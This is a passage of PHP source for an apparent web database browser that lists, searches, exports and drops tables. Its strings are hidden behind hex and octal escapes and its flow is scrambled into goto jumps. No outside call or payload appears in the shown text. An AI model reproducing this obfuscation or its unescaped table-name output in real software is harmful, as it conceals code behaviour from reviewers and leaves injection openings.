$db_name; if ("\155\171\163\161\x6c" == $db_driver) { if (views_supported()) { $query = "\x53\x45\114\x45\x43\x54\x20\x74\141\x62\x6c\145\x5f\x6e\x61\155\x65\40\106\122\117\115\40\151\x6e\146\x6f\x72\155\x61\164\x69\157\156\137\163\x63\150\x65\155\141\x2e\164\141\142\x6c\145\x73\40\x57\110\105\x52\105\x20\x74\141\x62\154\x65\x5f\x73\x63\x68\145\x6d\x61\x3d\45\x30\x20\x41\x4e\x44\x20\x74\x61\142\154\x65\137\x6e\x61\x6d\145\x3d\x25\61\x20\x41\x4e\104\40\164\141\x62\154\145\x5f\164\171\x70\x65\x3d\47\126\111\105\x57\47\40"; $row = db_row($query, array($db_name, $table)); return (bool) $row; } return false; } else { if ("\160\147\x73\161\x6c" == $db_driver) { $query = "\x53\105\x4c\105\103\124\40\x74\141\142\x6c\x65\x5f\156\141\x6d\145\54\40\164\x61\x62\x6c\145\x5f\164\171\x70\x65\x20"; $query .= "\106\x52\117\x4d\40\x69\x6e\x66\157\x72\x6d\141\x74\x69\x6f\156\x5f\x73\143\150\145\x6d\x61\56\164\141\142\154\x65\163\x20"; $query .= "\127\110\105\x52\x45\x20\x74\141\142\154\x65\137\163\x63\x68\x65\155\141\x20\x3d\40\x27\160\x75\142\154\151\143\47\x20"; $query .= "\101\116\x44\40\x74\x61\142\154\x65\x5f\164\x79\x70\145\x20\x3d\40\x27\x56\111\105\x57\x27\x20\x41\x4e\104\x20\x74\141\x62\x6c\145\x5f\x6e\141\155\x65\40\x3d\x20\45\60\x20"; $row = db_row($query, $table); return (bool) $row; } } } goto asT5h; OMiOT: function db_row($query, $dat = false) { global $db_driver, $db_link; if ("\x6d\x79\x73\161\154" == $db_driver) { if (is_resource($query)) { $rs = $query; return mysql_fetch_assoc($rs); } else { $query = db_limit($query, 0, 1); $rs = db_query($query, $dat); $row = mysql_fetch_assoc($rs); db_free($rs); if ($row) { return $row; } } return false; } else { if ("\x70\x67\163\161\x6c" == $db_driver) { if (is_resource($query) || is_object($query)) { $rs = $query; return pg_fetch_assoc($rs); } else { $query = db_limit($query, 0, 1); $rs = db_query($query, $dat); $row = pg_fetch_assoc($rs); db_free($rs); if ($row) { return $row; } } return false; } else { if ("\x73\x71\154\151\x74\145" == $db_driver) { global $PDO; if (is_object($query)) { $stmt = $query; return $stmt->fetch(PDO::FETCH_ASSOC); } else { $query = db_limit($query, 0, 1); $stmt = db_query($query, $dat); $row = $stmt->fetch(PDO::FETCH_ASSOC); $stmt = null; if ($row) { return $row; } } return false; } } } } goto dMQeL; d_mJN: function AutoFocus_HelpLink() { ?>
<a href="javascript:void(0)"class="help"onclick="AutoFocus_Help(this)"title="Help: keyboard shortcuts F1"id="AutoFocus_HelpLink"></a><?php  } goto EWryB; Hvk7B: function views_supported() { static $ret; if (isset($ret)) { return $ret; } global $db_driver, $db_link; if ("\155\171\x73\x71\154" == $db_driver) { $version = mysql_get_server_info($db_link); if (strpos($version, "\x2d") !== false) { $version = substr($version, 0, strpos($version, "\55")); } if (version_compare($version, "\65\x2e\x30\x2e\x32", "\76\x3d")) { $ret = true; return true; } else { $ret = false; return false; } } else { if ("\160\x67\x73\x71\x6c" == $db_driver) { return true; } else { if ("\x73\x71\154\151\164\x65" == $db_driver) { return true; } } } } goto BzLSD; BsIDi: echo $page_charset; goto D3UPm; kowwV: POST("\144\x72\x6f\160\x5f\164\x61\x62\154\x65", "\163\x74\x72\x69\x6e\x67"); goto jH27a; smSZm: function EncodeRowId($row, $pk, $pkeys) { if ($pkeys) { $cols = explode("\72", $pkeys); $rowid = array(); foreach ($cols as $col) { $rowid[] = str_replace("\72", "\x3a\x3a", $row[$col]); } $rowid = implode("\x3a", $rowid); return $rowid; } else { return str_replace("\72", "\72\72", $row[$pk]); } } goto qCAvq; YNYK9: function table_from_query($query) { if (preg_match("\x23\134\x73\x46\122\x4f\x4d\134\x73\x2b\133\42\140\x5d\x3f\50\134\x77\53\x29\133\x22\140\x5d\77\43\151", $query, $match)) { $cut = query_cut($query); if (preg_match("\43\134\x73\106\x52\x4f\x4d\x5c\163\53\133\42\140\135\x3f\50\134\x77\x2b\51\133\x22\140\x5d\77\x23\x69", $cut, $match2)) { $table = $match2[1]; } else { $table = $match[1]; } } else { if (preg_match("\x23\x55\x50\104\x41\x54\x45\134\163\53\x22\x3f\x28\x5c\x77\x2b\51\42\x3f\43\151", $query, $match)) { $table = $match[1]; } else { if (preg_match("\x23\x49\116\x53\105\x52\124\x5c\x73\x2b\111\x4e\124\117\x5c\163\x2b\42\77\x28\134\x77\53\51\42\77\43", $query, $match)) { $table = $match[1]; } else { $table = false; } } } return $table; } goto j44A4; udpJc: $export_structure = $_SERVER["\x50\110\120\137\123\x45\114\106"] . "\77\144\x75\x6d\160\137\141\154\154\75\61\x26\164\x61\x62\154\145\137\146\151\x6c\164\x65\x72\x3d" . urlencode(html_once($_GET["\164\141\x62\154\145\x5f\x66\x69\154\164\x65\x72"])); goto X_iux; VSfii: function list_dbs() { global $db_driver, $db_link; if ("\x6d\x79\163\x71\154" == $db_driver) { $result = mysql_query("\x53\110\x4f\127\x20\104\x41\x54\x41\x42\x41\123\105\123", $db_link); $ret = array(); while ($row = mysql_fetch_row($result)) { $ret[$row[0]] = $row[0]; } return $ret; } else { if ("\160\147\163\x71\154" == $db_driver) { return db_assoc("\123\x45\114\x45\103\x54\x20\144\141\x74\x6e\141\155\145\54\40\144\x61\x74\156\x61\x6d\x65\x20\x46\122\117\115\x20\x70\147\137\144\141\164\x61\142\141\x73\x65"); } else { if ("\x73\x71\154\x69\164\x65" == $db_driver) { return array("\166\x6f\151\144" => "\166\157\x69\144"); } } } } goto Hvk7B; rLH2K: function db_one($query, $dat = false) { $row = db_row_num($query, $dat); if ($row) { return $row[0]; } else { return false; } } goto OMiOT; Sl6V0: function array_col_values_unique($arr, $col) { return array_unique(array_col_values($arr, $col)); } goto UFObF; sf7tD: if (SQLITE_USED) { $db_driver = "\163\161\x6c\151\164\x65"; $db_server = SQLITE_FILE; $db_name = basename(SQLITE_FILE); $db_name = preg_replace("\43\134\x2e\134\167\53\x24\43", '', $db_name); if (!$db_name) { $db_name = basename(SQLITE_FILE); } if (defined("\x53\x51\114\x49\124\105\x5f\111\x4e\123\x45\x43\x55\122\105")) { $db_user = "\116\157\40\x61\165\x74\x68\145\156\164\151\x63\x61\x74\151\x6f\x6e\40\x72\145\161\165\151\162\x65\144\x2e"; } else { $db_user = SQLITE_USER; } $db_pass = "\x76\x6f\x69\144"; $db_charset = "\x75\164\x66\x38"; $page_charset = "\165\164\146\x2d\x38"; } else { $db_driver = cookie_get("\144\142\137\x64\162\x69\166\145\162"); $db_server = cookie_get("\x64\x62\137\x73\145\162\166\x65\x72"); $db_name = cookie_get("\x64\142\x5f\x6e\x61\x6d\x65"); $db_user = cookie_get("\x64\142\x5f\x75\x73\145\162"); $db_pass = base64_decode(cookie_get("\x64\x62\137\160\141\163\x73")); $db_charset = cookie_get("\x64\142\137\143\x68\x61\162\x73\145\x74"); $page_charset = cookie_get("\160\x61\147\x65\137\143\x68\141\x72\163\145\164"); } goto wye1b; TNYXn: if (GET("\x61\143\164\x69\157\x6e", "\163\164\162\151\156\x67") == "\160\141\x72\x73\x65\164\x69\155\145") { $now = strtotime("\62\60\x31\x31\x2d\60\x31\55\x33\61\x20\x30\61\72\x30\x31\72\60\61"); $now = time(); ParseTime_Tests($now); die; } goto JD7Bx; o_YSi: POST("\144\x72\x6f\160\137\x76\x69\x65\167", "\163\x74\162\x69\x6e\147"); goto RTk9Z; GRHO2: function url($script, $params = array()) { $query = ''; foreach ($params as $k => $v) { $exp = sprintf("\43\x28\134\77\x7c\46\x29\45\x73\75\x5b\x5e\46\x5d\52\43\151", $k); if (preg_match($exp, $script)) { $script = preg_replace($exp, '', $script); } } $exp = "\x23\134\x3f\x5c\x77\x2b\x3d\133\136\46\x5d\52\43\151"; $exp2 = "\43\46\x28\x5c\167\53\x3d\133\136\x26\135\x2a\x29\x23\151"; if (!preg_match($exp, $script) && preg_match($exp2, $script)) { $script = preg_replace($exp2, "\77\44\x31", $script, 1); } foreach ($params as $k => $v) { if (!strlen($v)) { continue; } if ($query) { $query .= "\x26"; } else { if (strpos($script, "\x3f") === false) { $query .= "\77"; } else { $query .= "\46"; } } if ("\x25\163" != $v) { $v = urlencode($v); } $v = preg_replace("\43\45\x32\x35\x28\x5c\x77\53\x29\x25\x32\65\x23\151", "\45\x24\61\45", $v); $query .= sprintf("\45\x73\75\x25\163", $k, $v); } return $script . $query; } goto EyFf5; g00NE: $driver_arr = array_assoc($driver_arr); goto wMhZN; UFObF: function array_col_match($rows, $col, $pattern) { if (!count($rows)) { trigger_error("\141\162\162\x61\171\137\143\157\154\137\155\x61\x74\x63\x68\x28\x29\x3a\x20\x61\x72\162\141\171\40\151\x73\40\145\x6d\160\164\171", E_USER_ERROR); } $ret = true; foreach ($rows as $row) { if (!preg_match($pattern, $row[$col])) { return false; } } return true; } goto MpEBN; j28pU: ?>
</b>- Total size: <b><?php  goto S3aj5; KPKUS: function time_end($start) { $end = time_micro(); $end = round($end - $start, 3); $end = pad_zeros($end, 3); return $end; } goto jgoOw; EyFf5: function url_offset($offset, $params = array()) { $url = $_SERVER["\x52\x45\x51\x55\105\123\124\x5f\125\122\x49"]; if (preg_match("\x23\x26\x6f\146\146\163\x65\164\75\x5c\144\x2b\43", $url)) { $url = preg_replace("\x23\46\x6f\x66\x66\x73\145\x74\75\x5c\x64\x2b\x23", "\x26\x6f\x66\x66\163\x65\164\x3d" . $offset, $url); } else { $url .= "\46\157\146\x66\x73\x65\x74\x3d" . $offset; } return $url; } goto GS3tY; U5qfC: function PDO_Connect($dsn, $user = '', $password = '') { global $PDO; $PDO = new PDO($dsn, $user, $password); $PDO->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING); } goto Jilhi; hR3gZ: function db_update($tbl, $dat, $wh) { global $db_driver; if (!count($dat)) { trigger_error("\x64\142\x5f\165\160\x64\x61\164\145\x28\x29\x20\146\141\151\x6c\x65\144\56\40\104\141\164\141\x20\x69\x73\x20\x65\155\x70\164\171\x2e", E_USER_ERROR); return false; } $set = ''; $first = true; foreach ($dat as $k => $v) { if ($first) { $set .= quote_column($k) . "\75" . db_quote($v); $first = false; } else { $set .= "\54" . quote_column($k) . "\75" . db_quote($v); } } if (is_array($wh)) { $wh = db_where($wh, null, $omit_where = true); } if ("\155\171\x73\x71\x6c" == $db_driver) { $tbl = "\x60{$tbl}\140"; } else { $tbl = "\42{$tbl}\42"; } $q = "\x55\x50\x44\101\x54\x45\40{$tbl}\40\123\x45\x54\40{$set}\40\127\x48\105\x52\x45\40{$wh}"; return db_exe($q); } goto rru75; KBRJA: function query_strip($query) { $query = trim($query); if ("\73" == substr($query, -1)) { $query = substr($query, 0, -1); } $lines = preg_split("\x23\x28\15\12\x7c\12\x7c\15\x29\x23", $query); foreach ($lines as $k => $line) { $line = trim($line); if (!$line || 0 === strpos($line, "\55\55")) { unset($lines[$k]); } } $query = implode("\xd\12", $lines); return $query; } goto nAPku; AYdBz: function db_assoc($query) { global $db_driver, $db_link; if ("\163\x71\x6c\x69\164\145" == $db_driver) { global $PDO; $stmt = db_query($query); $rows = $stmt->fetchAll(PDO::FETCH_NUM); $assoc = array(); $columns = null; foreach ($rows as $row) { if (!isset($columns)) { $columns = count($row); } if (2 == $columns) { $assoc[$row[0]] = $row[1]; } else { $assoc[$row[0]] = $row; } } return $assoc; } $rs = db_query($query); $rows = array(); $num = db_row_num($rs); if (!is_array($num)) { return array(); } if (!array_key_exists(0, $num)) { return array(); } if (1 == count($num)) { $rows[] = $num[0]; while ($num = db_row_num($rs)) { $rows[] = $num[0]; } return $rows; } if ("\x6d\171\x73\161\154" == $db_driver) { mysql_data_seek($rs, 0); } else { if ("\160\147\163\x71\x6c" == $db_driver) { pg_result_seek($rs, 0); } } $row = db_row($rs); if (!is_array($row)) { return array(); } if (count($num) < 2) { trigger_error(sprintf("\144\142\137\x61\163\163\157\x63\x28\x29\40\x66\141\x69\x6c\x65\144\x2e\x20\x54\167\157\40\146\x69\145\154\x64\163\x20\162\x65\x71\x75\x69\162\x65\144\x2e\40\x51\x75\145\x72\171\x3a\x20\45\163\56", $query), E_USER_ERROR); } if (count($num) > 2 && count($row) <= 2) { trigger_error(sprintf("\x64\142\137\x61\163\x73\x6f\x63\x28\x29\x20\146\x61\151\x6c\145\x64\x2e\x20\x49\x66\x20\x73\x70\x65\143\151\146\151\145\144\40\x6d\x6f\x72\x65\40\x74\150\x61\156\x20\164\x77\157\x20\146\151\x65\x6c\144\163\x2c\40\x74\150\145\x6e\x20\x65\141\x63\150\40\157\x66\40\164\x68\x65\x6d\40\x6d\x75\x73\164\40\150\141\166\x65\x20\x61\40\x75\156\x69\161\x75\x65\x20\x6e\141\155\145\x2e\40\x51\x75\145\162\x79\72\x20\x25\163\x2e", $query), E_USER_ERROR); } foreach ($row as $k => $v) { $first_key = $k; break; } if (count($row) > 2) { $rows[$row[$first_key]] = $row; while ($row = db_row($rs)) { $rows[$row[$first_key]] = $row; } } else { $rows[$num[0]] = $num[1]; while ($num = db_row_num($rs)) { $rows[$num[0]] = $num[1]; } } db_free($rs); return $rows; } goto aT3EN; AwChU: if (version_compare(PHP_VERSION, "\64\x2e\63\x2e\x30", "\x3c")) { header("\x48\124\124\120\x2f\61\x2e\x30\x20\65\x30\63\x20\x53\x65\162\x76\x69\x63\145\40\125\156\x61\x76\x61\151\x6c\x61\x62\154\145"); die("\105\x52\x52\117\122\72\x20\x6f\x6c\x64\x20\x70\x68\160\x20\x76\145\x72\x73\x69\x6f\x6e\x20\144\145\x74\145\143\164\145\x64\72\40" . PHP_VERSION . "\56\40\131\x6f\x75\40\x6e\x65\145\x64\40\141\x74\40\x6c\x65\141\x73\x74\40\64\x2e\63\x2e\60\56"); } goto Ps6xc; t0F5t: function escape($text) { $text = addslashes($text); $search = array("\xd", "\12", "\x9"); $replace = array("\134\162", "\134\156", "\134\164"); return str_replace($search, $replace, $text); } goto tHkZr; bXBYj: function errorHandler($errno, $errstr, $errfile, $errline) { global $Global_LastError; $Global_LastError = $errstr; if (!($errno & error_reporting())) { return; } $errstr = ConvertPolishToUTF8($errstr); if (!headers_sent()) { header("\110\124\124\x50\x2f\x31\x2e\60\x20\65\x30\x33\40\123\x65\x72\x76\151\x63\x65\40\x55\x6e\x61\166\141\x69\154\141\142\154\145"); while (ob_get_level()) { ob_end_clean(); } header("\103\157\156\x74\145\156\x74\55\x45\x6e\x63\x6f\144\x69\x6e\x67\72\40\156\157\156\x65"); header("\x43\x6f\x6e\164\145\156\164\55\x54\171\x70\145\72\x20\164\145\x78\x74\57\x68\164\155\x6c\x3b\x20\x63\x68\x61\162\163\x65\x74\x3d\165\x74\x66\55\70"); header("\105\x78\160\x69\162\145\x73\72\x20\x4d\157\156\54\40\x32\x36\40\x4a\165\154\40\61\x39\71\x37\40\x30\x35\72\x30\60\72\x30\60\x20\x47\x4d\124"); header("\x4c\x61\x73\x74\x2d\115\157\x64\151\x66\151\145\144\x3a\40" . gmdate("\x44\x2c\x20\x64\x20\115\x20\x59\40\110\72\x69\72\163") . "\x20\x47\x4d\124"); header("\x43\141\143\150\145\x2d\x43\x6f\x6e\164\x72\x6f\154\x3a\x20\x6e\x6f\x2d\163\164\x6f\x72\145\x2c\40\156\x6f\55\143\x61\x63\150\x65\54\40\155\x75\x73\x74\x2d\162\x65\x76\x61\154\x69\144\x61\164\145"); header("\x43\141\x63\150\145\x2d\x43\157\x6e\x74\x72\157\154\72\x20\160\157\163\164\x2d\x63\x68\x65\143\153\75\x30\x2c\40\x70\162\x65\55\x63\150\x65\143\153\75\60", false); header("\120\162\x61\x67\155\x61\x3a\x20\156\x6f\55\143\x61\x63\150\145"); } $errfile = basename($errfile); $msg = sprintf("\x25\x73\x3c\x62\162\76\111\x6e\x20\45\x73\x20\x6f\x6e\x20\x6c\x69\x6e\x65\x20\x25\144\56", nl2br($errstr), $errfile, $errline); printf("\74\x21\144\157\x63\x74\171\x70\145\x20\150\x74\x6d\x6c\x3e\74\x68\x74\x6d\x6c\76\74\150\x65\x61\x64\76\74\155\x65\164\x61\x20\x63\x68\x61\x72\163\x65\x74\x3d\x75\x74\146\x2d\70\x3e\74\x74\151\164\154\145\x3e\x50\110\120\x20\105\x72\x72\x6f\x72\x3c\x2f\164\151\x74\x6c\145\x3e"); printf("\x3c\155\x65\164\x61\40\x6e\x61\x6d\145\x3d\42\x72\157\x62\157\164\x73\42\x20\143\157\156\164\145\x6e\164\75\42\x6e\x6f\151\x6e\144\x65\x78\x2c\x6e\x6f\146\x6f\154\x6c\x6f\167\x22\76"); printf("\74\154\151\x6e\153\x20\x72\x65\154\75\42\x73\150\157\x72\x74\143\165\x74\x20\x69\143\x6f\x6e\x22\40\150\162\145\146\75\42{$_SERVER["\120\x48\x50\137\x53\x45\114\106"]}\77\144\142\153\x69\163\163\137\x66\141\166\151\143\157\x6e\x3d\61\x22\76"); printf("\74\x73\x74\171\154\145\40\164\x79\x70\x65\75\164\x65\170\164\x2f\143\x73\x73\76"); printf("\142\x6f\144\171\x20\173\x20\146\x6f\x6e\x74\x3a\x20\61\x31\x70\x78\40\124\141\x68\x6f\x6d\x61\x3b\x20\154\x69\x6e\145\x2d\x68\x65\x69\147\150\164\x3a\x20\x31\x2e\x34\145\x6d\73\40\x70\x61\144\x64\x69\x6e\147\x3a\x20\60\x3b\x20\x6d\x61\x72\x67\151\x6e\x3a\x20\61\x65\x6d\x20\61\x2e\65\145\155\x3b\x20\x7d"); printf("\x68\61\x20\173\x20\146\157\156\164\x3a\40\x62\x6f\x6c\144\x20\61\x35\x70\x78\40\124\141\150\x6f\155\x61\x3b\40\x62\x6f\162\x64\145\x72\55\x62\x6f\x74\164\157\155\x3a\x20\162\147\142\50\61\67\x35\54\40\x35\x30\x2c\x20\x30\51\x20\x31\160\x78\40\163\x6f\x6c\x69\x64\73\x20\x6d\141\x72\147\151\x6e\55\142\x6f\x74\164\x6f\155\x3a\x20\x30\56\70\65\x65\155\73\x20\160\x61\144\144\151\156\x67\55\x62\x6f\164\164\x6f\x6d\x3a\x20\x30\x2e\62\65\145\x6d\x3b\x20\143\157\x6c\157\162\72\40\x72\147\x62\50\x32\x30\60\x2c\40\x35\x30\x2c\x20\60\x29\73\x20\164\145\170\x74\x2d\163\150\x61\x64\x6f\167\72\40\x31\x70\x78\40\61\x70\x78\x20\x31\x70\170\x20\x23\146\x66\146\x3b\x20\175"); print "\x68\x32\40\173\x20\x66\157\156\x74\x3a\40\142\157\154\x64\x20\61\63\x70\x78\x20\124\141\x68\x6f\x6d\141\x3b\x20\155\141\162\x67\x69\x6e\x2d\164\x6f\x70\x3a\x20\x31\145\155\73\x20\x63\x6f\x6c\x6f\x72\72\40\43\60\x30\x30\x3b\x20\164\x65\170\x74\x2d\163\150\141\144\x6f\167\x3a\x20\x31\x70\170\x20\x31\x70\170\40\61\160\x78\40\x23\x66\146\146\73\x20\x7d"; printf("\74\57\163\164\x79\154\x65\76\x3c\x2f\x68\145\141\144\x3e\x3c\x62\x6f\144\x79\76"); printf("\74\150\61\76\x50\110\120\40\105\162\x72\157\x72\74\x2f\150\61\76"); printf($msg); if ("\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31" == $_SERVER["\x53\105\x52\x56\x45\x52\x5f\101\x44\x44\x52"] && "\x31\x32\67\x2e\60\x2e\60\x2e\61" == $_SERVER["\x52\x45\115\117\x54\x45\x5f\x41\x44\104\122"]) { printf("\x3c\x68\62\x3e\102\141\x63\x6b\164\162\141\x63\145\x3c\x2f\150\x32\76"); ob_start(); debug_print_backtrace(); $trace = ob_get_clean(); $trace = preg_replace("\57\136\43\60\133\x5c\163\x5c\123\x5d\53\x3f\12\x23\x31\x2f", "\x23\61", $trace); $trace = trim($trace); print nl2br($trace); } printf("\74\57\142\157\144\171\x3e\x3c\x2f\150\164\155\154\76"); if ("\x31\62\x37\56\60\56\60\x2e\61" == $_SERVER["\x53\105\x52\126\x45\122\137\x41\x44\104\x52"] && "\61\x32\x37\56\x30\x2e\60\56\x31" == $_SERVER["\122\105\115\x4f\124\x45\x5f\101\104\x44\122"]) { error_log($msg); } die; } goto gW6Y2; G4XWx: if (GET("\x73\145\141\162\143\150\x64\142", "\x62\157\157\x6c")) { GET("\x74\x79\160\145\163", "\141\x72\162\141\x79"); GET("\163\145\141\x72\x63\x68", "\163\164\x72\151\x6e\147"); GET("\155\144\x35", "\142\157\157\154"); GET("\x74\141\x62\x6c\x65\x5f\x66\x69\154\x74\x65\162", "\x73\164\x72\151\x6e\x67"); $_GET["\163\x65\141\162\x63\x68"] = trim($_GET["\163\145\x61\162\x63\150"]); $tables = list_tables(); if ($_GET["\164\x61\x62\x6c\145\x5f\146\x69\x6c\164\x65\x72"]) { foreach ($tables as $k => $table) { if (!str_has_any($table, $_GET["\x74\141\x62\154\x65\137\x66\x69\154\x74\x65\162"], $ignore_case = true)) { unset($tables[$k]); } } } $all_types = array(); $columns = array(); foreach ($tables as $table) { $types = table_columns($table); $columns[$table] = $types; $types = array_values($types); $all_types = array_merge($all_types, $types); } $all_types = array_unique($all_types); if ($_GET["\x73\x65\141\x72\143\150"] && $_GET["\x6d\144\x35"]) { $_GET["\163\x65\141\162\x63\150"] = md5($_GET["\163\145\141\162\x63\x68"]); } rawlayout_start(sprintf("\45\163\40\x26\x67\164\73\x20\123\x65\141\162\143\150", $db_name)); ?>
<h1><a href="<?php  echo $_SERVER["\x50\110\120\137\123\x45\x4c\x46"]; ?>
"class="blue"style="<?php  echo $db_name_style; ?>
"><?php  echo $db_name_h1 ? $db_name_h1 : $db_name; ?>
</a>> Search</h1><?php  conn_info(); ?>
<form action="<?php  echo $_SERVER["\120\110\120\137\123\x45\114\x46"]; ?>
"><input value="1"name="searchdb"type="hidden"><table cellspacing="1"class="ls2"><tr><th>Search:</th><td><input value="<?php  echo html_once($_GET["\163\x65\x61\162\x63\150"]); ?>
"name="search"size="40"><?php  if ($_GET["\x73\145\141\x72\x63\x68"] && $_GET["\155\x64\65"]) { ?>
md5(<?php  echo html_once($_GET["\x73\x65\141\x72\x63\150"]); ?>
)<?php  } ?>
<input value="1"name="md5"type="checkbox"id="md5_label"> <label for="md5_label">md5</label></td></tr><tr><th>Table filter:</th><td><input value="<?php  echo html_once($_GET["\164\141\142\x6c\x65\137\146\x69\154\x74\x65\x72"]); ?>
"name="table_filter"></tr><tr><th>Columns:</th><td><?php  foreach ($all_types as $type) { ?>
<input value="1"name="types[<?php  echo $type; ?>
]"type="checkbox"id="type_<?php  echo $type; ?>
"<?php  echo checked(isset($_GET["\x74\x79\x70\145\163"][$type])); ?>
> <label for="type_<?php  echo $type; ?>
"><?php  echo $type; ?>
</label><?php  } ?>
</td></tr><tr><td colspan="2"class="none"><input value="Search"type="submit"></td></tr></table></form><?php  if ($_GET["\x73\x65\x61\162\x63\x68"] && !count($_GET["\x74\x79\160\x65\163"])) { ?>
<p>No columns selected.</p><?php  } if ($_GET["\163\145\x61\x72\143\x68"] && count($_GET["\164\x79\x70\x65\x73"])) { ?>
<p>Searching <b><?php  echo count($tables); ?>
</b>tables for: <b><?php  echo htmlspecialchars($_GET["\x73\x65\141\162\x63\150"]); ?>
</b></p><?php  $found_any = false; set_time_limit(0); foreach ($tables as $table) { $where = ''; $cols2 = array(); $where = ''; $search = db_escape($_GET["\163\145\141\162\x63\150"]); $search = str_replace(array("\x25", "\137"), array("\134\45", "\x5c\x5f"), $search); foreach ($columns[$table] as $col => $type) { if (!in_array($type, array_keys($_GET["\164\171\160\x65\x73"]))) { continue; } if ($where) { $where .= "\40\x4f\122\x20"; } if (is_numeric($search)) { if ("\155\x79\x73\x71\154" == $db_driver) { $where .= "\140{$col}\x60\x20\75\40\x27{$search}\47\40"; } else { $where .= "\42{$col}\x22\x20\x3d\x20\x27{$search}\47\40"; } } else { if ("\x6d\171\163\x71\x6c" == $db_driver) { $where .= "\x60{$col}\140\40\114\111\113\x45\40\x27\x25{$search}\x25\47\40"; } else { if ("\x70\x67\x73\161\x6c" == $db_driver) { $where .= "\x22{$col}\42\x20\x49\114\x49\x4b\105\40\47\x25{$search}\45\x27\x20"; } else { if ("\x73\x71\154\x69\164\x65" == $db_driver) { $where .= "\42{$col}\x22\40\x4c\111\113\x45\40\x27\45{$search}\x25\47\40"; } else { trigger_error("\144\142\x5f\x64\162\151\166\x65\162\x20\x6e\x6f\164\x20\x69\x6d\x70\x6c\x65\x6d\x65\156\164\x65\144"); } } } } } $found = false; if ($where) { $where = "\x57\x48\105\122\x45\40" . $where; $table_enq = quote_table($table); $found = db_one("\123\105\x4c\105\x43\x54\40\x43\x4f\125\116\x54\50\x2a\51\x20\106\x52\117\x4d\40{$table_enq}\x20{$where}"); } if ($found) { $found_any = true; } if ($where && $found) { $limit = 10; $offset = 0; $pk = table_pk($table); if (strstr($pk, "\x3a")) { $pkeys = $pk; $pkeys_enq = QuotePkeys($pkeys); } else { $pkeys = false; $pk_enq = quote_column($pk); } if ($pkeys) { $order = "\x4f\x52\x44\x45\122\x20\x42\x59\x20{$pkeys_enq}"; } else { $order = "\117\122\x44\x45\x52\x20\102\131\40{$pk_enq}"; } $table_enq = quote_table($table); $rs = db_query(db_limit("\x53\x45\x4c\x45\103\x54\40\x2a\40\106\122\x4f\115\40{$table_enq}\x20{$where}\40{$order}", $offset, $limit)); $rows = array(); while ($row = db_row($rs)) { $rows[] = $row; } db_free($rs); if (!$pkeys) { if (count($rows) && !array_col_match_unique($rows, $pk, "\x23\136\x5c\x64\53\x24\x23")) { $pk = guess_pk($rows); } } } if ($where && $found) { ?>
<p>Table: <a href="<?php  echo $_SERVER["\x50\110\x50\x5f\123\105\114\106"]; ?>
?viewtable=<?php  echo $table; ?>
&search=<?php  echo urlencode($_GET["\x73\x65\141\x72\143\150"]); ?>
"><b><?php  echo $table; ?>
</b></a><br>Found: <b><?php  echo $found; ?>
</b><?php  if ($found > $limit) { ?>
<a href="<?php  echo $_SERVER["\x50\x48\x50\x5f\x53\x45\114\x46"]; ?>
?viewtable=<?php  echo $table; ?>
&search=<?php  echo urlencode($_GET["\163\x65\x61\162\143\x68"]); ?>
">show all >></a><?php  } ?>
</p><table cellspacing="1"class="ls"><tr><?php  if ($pk || $pkeys) { ?>
<th>#</th><?php  } foreach ($columns[$table] as $col => $type) { ?>
<th><?php  echo $col; ?>
</th><?php  } ?>
</tr><?php  foreach ($rows as $row) { ?>
<tr><?php  if ($pk || $pkeys) { $edit_url = url(self(true), array("\141\x63\x74\151\157\156" => "\x65\144\151\164\162\x6f\167", "\x74\x61\x62\x6c\145" => $table, "\x70\153" => $pkeys ? $pkeys : $pk, "\151\144" => EncodeRowId($row, $pk, $pkeys))); ?>
<td valign="top"><a href="javascript:void(0)"onclick='popup("<?php  echo $edit_url; ?>
",<?php  echo EDITROW_POPUP_WIDTH; ?>
,<?php  echo EDITROW_POPUP_HEIGHT; ?>
)'>Edit</a></td><?php  } foreach ($row as $k => $v) { $v = str_truncate($v, 50); $v = html_once($v); $search = $_GET["\163\145\x61\x72\143\x68"]; if ($columns[$table][$k] == "\x69\x6e\x74" && IsTimestampColumn($k, $v)) { $tmp = date("\x59\x2d\x6d\x2d\144\40\x48\x3a\x69", $v); if ($tmp) { $v = $tmp; } } $v = ColorSearchPhrase($v, $search); ?>
<td nowrap><?php  echo $v; ?>
</td><?php  } ?>
</tr><?php  } ?>
</table><?php  } } if (!$found_any) { ?>
<p>No rows found.</p><?php  } } rawlayout_end(); die; } goto vx48C; yybpB: echo $db_name_style; goto mM9Oz; tMaJ2: foreach ($tables as $table) { ?>
<tr><?php  if ("\x6d\x79\163\x71\154" == $db_driver) { $count = $status[$table]["\143\x6f\165\156\164"]; } else { if ("\x70\147\163\161\x6c" == $db_driver) { $count = $status[$table]["\143\x6f\x75\156\x74"]; if (!$count) { $table_enq = quote_table($table); $count = db_one("\x53\x45\114\105\x43\124\40\103\x4f\125\x4e\124\50\x2a\x29\40\106\122\x4f\x4d\40{$table_enq}"); } } else { if ("\x73\161\154\x69\x74\145" == $db_driver) { $table_enq = quote_table($table); $precise_count = true; if ($status["\x74\x6f\164\x61\154\x5f\163\151\x7a\x65"] > SQLITE_ESTIMATE_COUNT) { $precise_count = false; if ($_GET["\160\162\145\143\151\x73\145\x5f\143\157\165\x6e\164"]) { $precise_count = true; } } if ($precise_count) { $count = db_one("\123\105\114\x45\x43\x54\40\x43\x4f\x55\116\x54\x28\52\51\40\106\122\117\x4d\x20{$table_enq}"); } else { $count = db_one("\x53\x45\114\x45\x43\x54\40\x4d\x41\130\50\x72\x6f\x77\x69\x64\51\40\106\122\x4f\115\x20{$table_enq}"); } } } } ?>
<td><a href="<?php  echo $_SERVER["\x50\x48\x50\137\123\x45\114\106"]; ?>
?viewtable=<?php  echo $table; ?>
"class="blue"><?php  echo $table; ?>
</a></td><td style="color:#333"align="right"><?php  echo number_format($count, 0, '', "\40"); ?>
</td><?php  if (!SQLITE_USED) { ?>
<td style="color:#666"align="right"><?php  echo isset($status[$table]) ? number_format(ceil($status[$table]["\x73\151\x7a\145"] / 1024), 0, '', "\54") . "\40\153" : "\55"; ?>
</td><?php  } ?>
<td><a href="<?php  echo $_SERVER["\120\110\x50\137\x53\105\114\x46"]; ?>
?dump_table=<?php  echo $table; ?>
">Export</a> -<?php  $table_enq = quote_table($table); ?>
<form action="<?php  echo $_SERVER["\120\x48\120\137\x53\105\x4c\106"]; ?>
"method="post"style="display:inline"name="drop_<?php  echo $table; ?>
"><input value="<?php  echo $table; ?>
